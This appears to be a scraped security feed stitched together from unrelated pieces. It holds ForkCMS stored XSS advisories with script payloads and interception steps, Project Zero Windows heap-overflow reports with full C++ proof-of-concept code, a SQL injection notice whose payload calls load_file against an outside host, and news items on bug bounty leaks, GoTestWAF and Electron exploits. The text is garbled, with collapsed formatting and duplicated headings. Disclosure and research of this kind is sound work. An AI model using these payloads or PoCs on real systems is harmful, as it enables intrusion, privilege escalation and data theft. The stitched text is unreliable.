A stored cross-site scripting (XSS) issue in the ForkCMS version 5.9.3 allows remote attackers to inject JavaScript via the "start_date" Parameter

**✍️ Description**

A cross-site scripting (XSS) issue in the Fork version 5.9.3 allows remote attackers to inject JavaScript via the "start\_date" Parameter

**🕵️‍♂️ Proof of Concept**

XSS payload: '"()%26%25<yes><ScRiPt%20>alert(1)</ScRiPt>

**Steps to reproduce issue**

1- Login to Fork admin panel

2- Goto Modules=>Formbuilder

3- Turn on Burp Intercept

4- Click on "Update Filter"

5- Change value of "start\_date" parameter to 22/03/2021'"()%26%25<yes><ScRiPt%20>alert(1)</ScRiPt>

6- Forward the request and XSS will be triggered

Video POC: https://drive.google.com/file/d/12PqUfuw3RFyOcFS0HIHfTkxrpsDDtACd/view?usp=sharing

**💥 Impact**

With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.

CVE-2022-35585: Cross-site Scripting (XSS) - Stored in forkcms

A cross-site scripting (XSS) issue in the Fork version 5.9.3 allows remote attackers to inject JavaScript via the "publish_on_time" Parameter.

**✍️ Description**

A cross-site scripting (XSS) issue in the Fork version 5.9.3 allows remote attackers to inject JavaScript via the "publish\_on\_time" Parameter

**🕵️‍♂️ Proof of Concept**

Vulnerable Parameter: publish\_on\_time

XSS payload: 17:59'"()&%<yes><ScRiPt >alert(1)</ScRiPt>

**Steps to reproduce issue**

1- Login to Fork admin panel

2- Goto Modules=>Blog=>Edit

3- Turn on Burp Intercept

4- Click on "Publish"

5- Change value of "publish\_on\_time" parameter to 17:59'"()&%<yes><ScRiPt >alert(1)</ScRiPt>

6- Forward the request and XSS will be triggered

**Video POC: https://drive.google.com/file/d/1LuVfabd0NRs8xKSR3vTpchB56ScgxL2a/view?usp=sharing\`****💥 Impact**

With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.

CVE-2022-35589: Cross-site Scripting (XSS) - Generic in forkcms

A cross-site scripting (XSS) issue in the ForkCMS version 5.9.3 allows remote attackers to inject JavaScript via the "end_date" Parameter

CVE-2022-35590: Cross-site Scripting (XSS) - Generic in forkcms

A cross-site scripting (XSS) issue in the Fork version 5.9.3 allows remote attackers to inject JavaScript via the "publish_on_date" Parameter

**✍️ Description**

A cross-site scripting (XSS) issue in the Fork version 5.9.3 allows remote attackers to inject JavaScript via the "publish\_on\_date" Parameter

**🕵️‍♂️ Proof of Concept**

Vulnerable parameter: publish\_on\_date

XSS payload: '"()%26%25<yes><ScRiPt%20>alert(1)</ScRiPt>

**Steps to reproduce issue**

1- Login to Fork admin panel

2- Goto Modules=>Blog=>Edit

3- Turn on Burp Intercept

4- Click on "Publish"

5- Change value of "publish\_on\_date" parameter to 22/03/2021'"()&%<yes><ScRiPt >alert(2)</ScRiPt>

6- Forward the request and XSS will be triggered

**Video POC: https://drive.google.com/file/d/10e\_8aSNUsGolDDexhuN\_aqso5VA8671n/view?usp=sharing.**

    
    # 💥 Impact
    With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.

CVE-2022-35587: Cross-site Scripting (XSS) - Generic in forkcms

A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

**Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow**

    Windows: heap buffer overflow in sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString## SUMMARYA heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.## VULNERABILITY DETAILS```__int64 __fastcall BaseSrvActivationContextCacheDuplicateUnicodeString(UNICODE_STRING *Dst, UNICODE_STRING *Src){  unsigned int Length; // ebx  SIZE_T NewMaxLength; // r8  WCHAR *Heap; // rax  __int64 Status; // rax  Length = Src->Length;  if ( (_WORD)Length )  {    NewMaxLength = (unsigned __int16)(Length + 2); // *** 1 ***    Dst->MaximumLength = NewMaxLength;    Heap = (WCHAR *)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, NewMaxLength); // *** 2 ***    Dst->Buffer = Heap;    if ( Heap )    {      memcpy_0(Heap, Src->Buffer, Length); // *** 3 ***      Dst->Buffer[(unsigned __int64)Length >> 1] = 0;      Status = 0i64;      Dst->Length = Length;    }    else    {      return 0xC0000017i64;    }  }  else  {    *(_DWORD *)&Dst->Length = 0;    Status = 0i64;    Dst->Buffer = 0i64;  }  return Status;}```The function above attempts to reserve two extra bytes for a trailing null character. The new size gets truncated to a 16-bit value[1], so if the size of the source string is 0xfffe bytes, the function will try to allocate a 0-byte buffer[2] and copy 0xfffe bytes into it[3].The vulnerable function is reachable from the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine. However, the default size of the CSR shared memory section is only 0x10000 bytes, and some of that space must be reserved for the capture buffer header, so by default it's impossible to pass a big enough `UNICODE_STRING` to CSRSS. Luckily, the size of the section is controlled entirely by the client process, and if an attacker can modify `ntdll!CsrpConnectToServer` early enough during process startup, they'll be able to pass strings of (virtually) any size.## VERSIONWindows 11 12H2 (OS Build 22000.593)Windows 10 12H2 (OS Build 19044.1586)## REPRODUCTION CASEThis (not very reliable) proof-of-concept creates a new process in a suspended state, attempts to find and replace 32-bit value 0x10000 inside `CsrpConnectToServer`, and resumes the process' main thread. Then the child process sends a CSR request with a huge string.1) Enable page heap verification for csrss.exe:```gflags /p /enable csrss.exe /full```2) Restart the machine.3) Compile and run:```#include <windows.h>#include <winternl.h>#include <string>PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);void CaptureString(LPVOID capture_buffer,                   uint8_t* msg_field,                   PCWSTR string,                   size_t length = 0,                   size_t max_length = 0) {  if (length == 0)    length = lstrlenW(string);  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,                          length * 2 + 2, (PSTR)msg_field);}int main(int argc, char* argv[]) {  HMODULE ntdll = LoadLibrary(L\"ntdll\");  if (argc == 1) {    STARTUPINFO si = {0};    PROCESS_INFORMATION pi = {0};    si.cb = sizeof(si);    WCHAR image_path[MAX_PATH + 1];    GetModuleFileName(NULL, image_path, MAX_PATH);    std::wstring args = image_path;    args += L\" child\";    CreateProcess(&image_path[0], &args[0], NULL, NULL, FALSE, CREATE_SUSPENDED,                  NULL, NULL, &si, &pi);    PVOID csrClientConnectToServer =        GetProcAddress(ntdll, \"CsrClientConnectToServer\");    size_t offset = 0;    for (; offset < 0x1000; ++offset)      if (*(uint32_t*)((char*)csrClientConnectToServer + offset) == 0x10000)        break;    uint32_t new_size = 0x20000;    WriteProcessMemory(pi.hProcess, (char*)csrClientConnectToServer + offset,                       &new_size, sizeof(new_size), NULL);    ResumeThread(pi.hThread);  } else {#define INIT_PROC(name) \\  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));    INIT_PROC(CsrAllocateCaptureBuffer);    INIT_PROC(CsrFreeCaptureBuffer);    INIT_PROC(CsrClientCallServer);    INIT_PROC(CsrCaptureMessageString);    const size_t HEADER_SIZE = 0x40;    uint8_t msg[HEADER_SIZE + 0x1f8] = {0};#define FIELD(n) msg + HEADER_SIZE + 8 * n#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;    SET_FIELD(0, 0x900000041);    SET_FIELD(3, 0x10101);    SET_FIELD(6, 0x88);    SET_FIELD(7, -1);    std::string manifest =        \"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' \"        \"manifestVersion='1.0'>\"        \"<assemblyIdentity name='A' version='1.0.0.0'/>\"        \"</assembly>\";    SET_FIELD(8, manifest.c_str());    SET_FIELD(9, manifest.size());    SET_FIELD(22, 1);    PVOID capture_buffer = CsrAllocateCaptureBuffer(3, 0x10200);    CaptureString(capture_buffer, FIELD(1), L\"\\x00\\x00\", 2);    CaptureString(capture_buffer, FIELD(4), L\"C:\\\\Windows\\\otepad.exe\");    CaptureString(capture_buffer, FIELD(17), L\"C:\\\\A\\\\\");    SET_FIELD(17, 0xfffefffe);    CsrClientCallServer(msg, capture_buffer, 0x1001001e,                        sizeof(msg) - HEADER_SIZE);  }}```4) Wait for a crash:```CONTEXT:  000000bd41a3ddc0 -- (.cxr 0xbd41a3ddc0)rax=000002224855c000 rbx=000000000000fffe rcx=000002224855c010rdx=fffffffff7ecde20 rsi=000000bd41a3ec48 rdi=000000000000ffferip=00007ffbd59d3c53 rsp=000000bd41a3eb08 rbp=000000bd41a3efc8 r8=000000000000002e  r9=00000000000003ff r10=000002224855c000r11=0000022240439e1e r12=00000000000007a4 r13=0000000000000001r14=000000bd41a3ee38 r15=000000bd41a3ee20iopl=0         nv up ei pl nz na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206ntdll!memcpy+0x113:0033:00007ffb`d59d3c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0 ds:002b:00000222`4855c000=????????????????????????????????Resetting default scopeWRITE_ADDRESS:  000002224855c000 EXCEPTION_RECORD:  000000bd41a3e2b0 -- (.exr 0xbd41a3e2b0)ExceptionAddress: 00007ffbd59d3c53 (ntdll!memcpy+0x0000000000000113)   ExceptionCode: c0000005 (Access violation)  ExceptionFlags: 00000000NumberParameters: 2   Parameter[0]: 0000000000000001   Parameter[1]: 000002224855c000Attempt to write to address 000002224855c000STACK_TEXT:  000000bd`41a3eb08 00007ffb`d2f34f24 : 00000000`00000000 00000000`0000fffe 00000000`00000000 00000000`00000000 : ntdll!memcpy+0x113000000bd`41a3eb10 00007ffb`d2f34e4b : 000000bd`41a3ee20 000000bd`41a3ec30 00000000`00000000 00000222`3a760000 : sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString+0x64000000bd`41a3eb40 00007ffb`d2f34d43 : 00000000`00000000 000000bd`41a3ee20 00000222`47868e20 00007ffb`d2d7b8b4 : sxssrv!BaseSrvActivationContextCacheDuplicateKey+0x4b000000bd`41a3eb70 00007ffb`d2f34916 : 000000bd`41a3ed78 000000bd`41a3ee20 000000bd`41a3efd4 000000bd`41a3efe0 : sxssrv!BaseSrvActivationContextCacheCreateEntry+0x83000000bd`41a3ebd0 00007ffb`d2f34018 : 00000000`00000000 00000000`00000000 00000000`00000000 000000bd`41a3f410 : sxssrv!BaseSrvActivationContextCacheInsertEntry+0x86000000bd`41a3ed20 00007ffb`d2f31dce : 00000000`000007f4 00000000`000000f0 00000000`00010244 00000000`00000000 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x818000000bd`41a3f160 00007ffb`d2fb6490 : 00000222`3d0d0750 00000000`000000f0 00000222`4785ef30 00000222`3a877f80 : sxssrv!BaseSrvSxsCreateActivationContextFromMessage+0x32e000000bd`41a3f2d0 00007ffb`d598265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0000000bd`41a3f970 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f```## CREDIT INFORMATIONSergei Glazunov of Google Project Zero**This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-07-19.**Related CVE Numbers: CVE-2022-22049,CVE-2022-22049.Found by: glazunov@google.com

Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow

**Windows sxs!CNodeFactory::XMLParser\_Element\_doc\_assembly\_assemblyIdentity Heap Buffer Overflow**

    Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity## SUMMARYA heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.## VULNERABILITY DETAILSIn 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html## VERSIONWindows 11 12H2 (OS Build 22000.593)Windows 10 12H2 (OS Build 19044.1586)## REPRODUCTION CASE1) Enable page heap verification for csrss.exe:```gflags /p /enable csrss.exe /full```2) Restart the machine.3) Compile and run:```#pragma comment(lib, "ntdll")#include <windows.h>#include <winternl.h>#include <cstdint>#include <cstdio>#include <string>typedef struct _SECTION_IMAGE_INFORMATION {  PVOID EntryPoint;  ULONG StackZeroBits;  ULONG StackReserved;  ULONG StackCommit;  ULONG ImageSubsystem;  WORD SubSystemVersionLow;  WORD SubSystemVersionHigh;  ULONG Unknown1;  ULONG ImageCharacteristics;  ULONG ImageMachineType;  ULONG Unknown2[3];} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;typedef struct _RTL_USER_PROCESS_INFORMATION {  ULONG Size;  HANDLE ProcessHandle;  HANDLE ThreadHandle;  CLIENT_ID ClientId;  SECTION_IMAGE_INFORMATION ImageInformation;  BYTE Unknown1[128];} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;NTSTATUS(NTAPI* RtlCreateProcessParameters)(PRTL_USER_PROCESS_PARAMETERS*, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PVOID, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING);NTSTATUS(NTAPI* RtlCreateUserProcess)(PUNICODE_STRING, ULONG, PRTL_USER_PROCESS_PARAMETERS, PSECURITY_DESCRIPTOR, PSECURITY_DESCRIPTOR, HANDLE, BOOLEAN, HANDLE, HANDLE, PRTL_USER_PROCESS_INFORMATION);PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);void CaptureString(LPVOID capture_buffer,                   uint8_t* msg_field,                   PCWSTR string,                   size_t length = 0) {  if (length == 0)    length = lstrlenW(string);  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,                          length * 2 + 2, (PSTR)msg_field);}int main() {  HMODULE ntdll = LoadLibrary(L"ntdll");#define INIT_PROC(name) \  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));  INIT_PROC(RtlCreateProcessParameters);  INIT_PROC(RtlCreateUserProcess);  INIT_PROC(CsrAllocateCaptureBuffer);  INIT_PROC(CsrFreeCaptureBuffer);  INIT_PROC(CsrClientCallServer);  INIT_PROC(CsrCaptureMessageString);  UNICODE_STRING image_path;  PRTL_USER_PROCESS_PARAMETERS proc_params;  RTL_USER_PROCESS_INFORMATION proc_info = {0};  RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");  RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,                             NULL, NULL, NULL, NULL);  RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,                       NULL, NULL, FALSE, NULL, NULL, &proc_info);  const size_t HEADER_SIZE = 0x40;  uint8_t msg[HEADER_SIZE + 0x1f8] = {0};#define FIELD(n) msg + HEADER_SIZE + 8 * n#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;  SET_FIELD(2, proc_info.ClientId.UniqueProcess);  SET_FIELD(3, proc_info.ClientId.UniqueThread);  SET_FIELD(4, -1);  SET_FIELD(7, 1);  SET_FIELD(8, 0x20000);  std::string manifest =      "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "      "manifestVersion='1.0'>"      "<assemblyIdentity name='@' version='1.0.0.0'/>"      "</assembly>";  manifest.replace(manifest.find('@'), 1, 0x4000, 'A');  SET_FIELD(13, manifest.c_str());  SET_FIELD(14, manifest.size());  PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);  CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");  CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);  CaptureString(capture_buffer, FIELD(28), L"A");  SET_FIELD(28, 0xff000002);  CsrClientCallServer(msg, capture_buffer, 0x1001001d,                      sizeof(msg) - HEADER_SIZE);}```The crash should look like to the following:```CONTEXT:  0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80 r8=0000000000000032  r9=00000000000001f7 r10=00007ff822e6b558r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001r14=0000000000000000 r15=0000000000000005iopl=0         nv up ei pl nz na pe nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202ntdll!memcpy+0x113:0033:00007ff8`25a53c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????Resetting default scopeWRITE_ADDRESS:  0000020e6515d000EXCEPTION_RECORD:  0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)   ExceptionCode: c0000005 (Access violation)  ExceptionFlags: 00000000NumberParameters: 2   Parameter[0]: 0000000000000001   Parameter[1]: 0000020e6515d000Attempt to write to address 0000020e6515d000STACK_TEXT:0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x1130000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c10000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd340000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d60000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x5130000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x1040000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x3390000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x5450000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x710000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f30000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d00000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f```## CREDIT INFORMATIONSergei Glazunov of Google Project ZeroRelated CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.Found by: glazunov@google.com

Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

Gas Agency Management 2022 suffers from cross site scripting, remote SQL injection, and remote shell upload vulnerabilities.

    ## Title: Gas Agency Management-2022 by Mayuri K - SQLi+FU-RCE+XSS## Author: nu11secur1ty## Date: 08.12.2022## Vendor Homepage: https://www.mayurik.com/#download_section## Software Link-0:https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html## Software Link-1:https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022/Docs/gasmark.zip## Description:The Gas Agency Management-2022 by Mayuri K suffers from multiplevulnerabilities, which means this project must be deprecatedimmediately!1. - SQLi: the parameter username is vulnerable to time-based blind(query SLEEP) injection - not sanitizing well.2. - Unauthenticated file upload - not sanitizing upload function -possible to upload .php extension files on photo section, for thecustomers.3. - XSS-reflected in the section adds customer in address function.4. - Web shell file upload - unauthenticated extension file upload, inthis case, is PHP web shell uploader. After this, the malicious usercan execute the already   uploaded file remotely, and he can destroycompletely this flawed system.5. - STATUS: For termination of the project.[+]Payloads:```mysql---Parameter: username (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=mxiusQzi'+(selectload_file('\\\\alzg6yrkl2xieezgaz9zqnya91fu3lw9ncb4yumj.tupaciganka.com\\jfe'))+''AND (SELECT 9964 FROM (SELECT(SLEEP(5)))bVfa)--FygL&password=r8H!r2a!U2&login=---```[+]Unauthenticated Upload:- - - in the video:https://streamable.com/opqz3n[+]XSS-Reflected:- - - in the video:https://streamable.com/opqz3n[+]RCE:- - - in the video:https://streamable.com/opqz3n## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)## Proof and Exploit:[href](https://streamable.com/opqz3n)-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.html and https://www.exploit-db.com/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>

Gas Agency Management 2022 SQL Injection / XSS / Shell Upload

Researchers, organizations, and bug disclosure platforms can all make improvements to help protect user data

James Walker 12 August 2022 at 14:02 UTC

Researchers, organizations, and bug disclosure platforms can all make improvements to help protect user data

Bug bounty programs can be a useful part of a layered security approach, but stakeholders have been urged to maintain a tight grip on their data handling practices throughout the disclosure process to avoid creating a data leak of their own.

At Black Hat USA yesterday (August 11), delegates were told how research oversights and shoddy data governance principles across the bug bounty market have resulted in the leak of users’ personally identifiable information. And what’s more, this data is often still available long after the corresponding ticket has been closed.

**RECOMMENDED** Black Hat USA: Deliberately vulnerable cloud infrastructure is a pen tester’s playground

In an interesting presentation, Dylan Ayrey, CEO of Truffle Security (the company behind TruffleHog), and Whitney Merrill, data protection officer and lead privacy counsel at software firm Asana, took a closer look at the potential pitfalls of the bug bounty disclosure process – starting with researchers.

Citing real-world examples, Ayrey said that while many bug bounty programs prohibit researchers from accessing user data, this does still happen. For instance, a blind cross-site scripting (XSS) exploit could trigger on an administrator endpoint, resulting in the dump of the entire user database.

Data gleaned from bug bounties can end up being stored in a wide range of systems

This user data could then be pushed to various third-party storage systems, along with being appended to the bug bounty program’s issue tracker – all of which then become a potential leak vector of their own.

Scaled up across the many hundreds of programs out there, this could result in a wealth of potentially sensitive data being stored in various places for an extended period.

**Leave no trace**

In addition to accidental research discoveries, Ayrey and Merrill said that organizations and bug bounty platforms are also opening the door to leaks through their failure to request that bug hunters delete all relevant data, or by simply leaving the sensitive information on file, long after the bug support ticket has been closed.

Offering advice to those who host bug bounty programs, Merrill said: “We’re probably not going to get to ‘perfect’, but we can take incremental steps to move forward. Basic data governance principles and data lifecycle best practises will help get you there.”

Ayrey added: “These privacy leaks in bug bounties are really common, and for every example that we can share publicly there are 100 examples that can’t be shared publicly. I think it’s time that we start a conversation about it and reduce some of the impact of this.

“We do believe that bug bounties are a positive force for change, and that companies that run bug bounties are in a better place than companies that don’t.”

**DON’T MISS** New class of HTTP request smuggling attacks showcased at Black Hat USA

BHUSA: Make sure your security bug bounty program doesn’t create a data leak of its own

CI/CD support is next for WAF security tool

CI/CD support is next for WAF security tool

Popular open source hacking tool GoTestWAF has become the first utility of its type to evaluate API security platforms, Black Hat USA attendees have learned.

Launched in April 2020, the security testing tool simulates OWASP and API exploits to test the detection capabilities of web application firewalls (WAFs), NGWAFs, RASPs, WAAPs, and, now, API security tools.

It supports REST, GraphQL, gRPC, WebSockets, SOAP, XMLRPC, and legacy APIs.

Read more about the latest security research and Arsenal talks at Black Hat USA 2022

OpenAPI-based scanning has been introduced “so you can scan exactly what is defined in your API spec during the attack simulation”, Brandon Shope, principal security engineer at Wallarm, told attendees at his Arsenal session yesterday (August 11).

The GoTestWAF GitHub repo explains how OpenAPI (formerly Swagger) file scans work, which OpenAPI features are supported, and how “instead of constructing requests that are simple in structure and send them to the URL specified at startup, GoTestWAF creates valid requests based on the application’s API description in the OpenAPI 3.0 format”.

**More attack types incoming**

Other new features currently in development, meanwhile, are a daemon for CI/CD pipelines with API and server mode, and support for additional attack types, including Java, Python, and .NET serialization attacks, said Shope.

GoTestWAF generates malicious requests using encoded payloads placed in different parts of HTTP requests. The results indicate the number and percentage of path traversal, shell injection, cross-site scripting (XSS), and various other attack types blocked by the security tool.

RELATED Black Hat USA: Log4j de-obfuscator Ox4Shell ‘dramatically’ reduces analysis time

GoTestWAF compares scan results to ModSec as a baseline, Shope said, and presents them in a “readable, nicely formatted PDF”. Wallarm CEO Ivan Novikov described this as a “really important” feature ahead of Shope’s presentation.

Testing for false negatives and positives is seen by Wallarm as invaluable given WAFs’ notoriety for generating false positives, which the API security firm says often occupies users at the expense of testing false negative rates.

**Community payloads**

Multiple ‘nested’ encoding support, codeless checks with YAML files, dockerization, and community payloads were also highlighted at the Las Vegas event.

Community support is a significant factor in the tool’s appeal, Novikov told The Daily Swig, citing community test cases documented by researchers from security intelligence search engine Vulners team “and then supported by others”.

GoTestWAF is already “used about 100 times a week” and asked about during sales and marketing calls by “about five enterprise companies a week”, according to Novikov.

Wallarm launched a free Online WAF tester for the tool last month.

RECOMMENDED Black Hat USA: Deliberately vulnerable AWS, Azure cloud infrastructure is a pen tester’s playground

GoTestWAF adds API attack testing via OpenAPI support

Categories: Exploits and vulnerabilities
Categories: News
Tags: Discord

Tags:  Spotify

Tags:  MicrosoftTeams

Tags:  Electron

Tags:  ElectronJS

Tags:  NodeJS

Tags:  V8 Chrome

Tags:  Log4Shell

Tags:  Log4j

A group of security researchers found a series of vulnerabilities in the software underlying popular apps like Discord, Microsoft Teams, and many others



(Read more...)




The post Researchers found one-click exploits in Discord and Teams appeared first on Malwarebytes Labs.

A group of security researchers have discovered a series of vulnerabilities in Electron, the software underlying popular apps like Discord, Microsoft Teams, and many others, used by tens of millions of people all over the world.

Electron is a framework that allows developers to create desktop applications using the languages used to build websites: HTML5, CSS, and JavaScript. It's an open source project that has been used as the foundation for some extremely popular apps. Electron itself is built on the open source Chromium browser project (the basis of Google Chrome), and the NodeJS JavaScript runtime which is built on Chromium's V8 JavaScript engine—a significant source of Chrome security problems.

**Building blocks**

It is not uncommon for developers to use other projects, frameworks and libraries as building blocks for their projects. Building on proven code makes sense: It saves time, it is easier for others to get involved, and everyone benefits from all the layers of solved problems in the existing codebase.

The problem with building software on existing foundations, provided by others, is that its developer may not fully understand the security implications of certain decisions or configurations. And they need to rebuild their own application whenever a security vulnerability is fixed in the software they're building on top of, and then distribute that update to their users.

Probably the most famous example of such a building block vulnerability is Log4Shell. Log4Shell is a vulnerability that was found in Log4j, an open source logging library written in Java that was developed by the Apache Software Foundation. Millions of applications use it, and some of them are enormously popular—such as iCloud, Steam, and Minecraft—so the impact of the vulnerability was enormous.

The chances of applications harboring out-of-date underpinnings are software are high. And the reservoir of known bugs that are fixed in, say, Chrome, but not yet fixed in Electron, or fixed in Electron but not yet fixed an application built on top of Electron, is something that criminals and researchers can exploit.

A group of researchers recently presented research into Electron vulnerabilities at the Black Hat security conference having done exactly that. For a peek into what they did, and a look at how complicated modern bug hunting is, read researcher s1r1us's explanation of how they went about finding a remote code execution (RCE) vulnerability in Discord by chaining a new cross-site scripting vulnerability, a CSP bypass in Discord's out-of-date Chrome version, and an exploit for an existing V8 vulnerability.

In the case of s1r1us's Discord bug, what the researchers found could be exploited with nothing more than a malicious link to a video. With Microsoft Teams, the bug they found could be exploited by inviting a victim to a meeting. In both cases, if the targets clicked on these links, an attacker would have been able to take control of their computers.

**Mitigation**

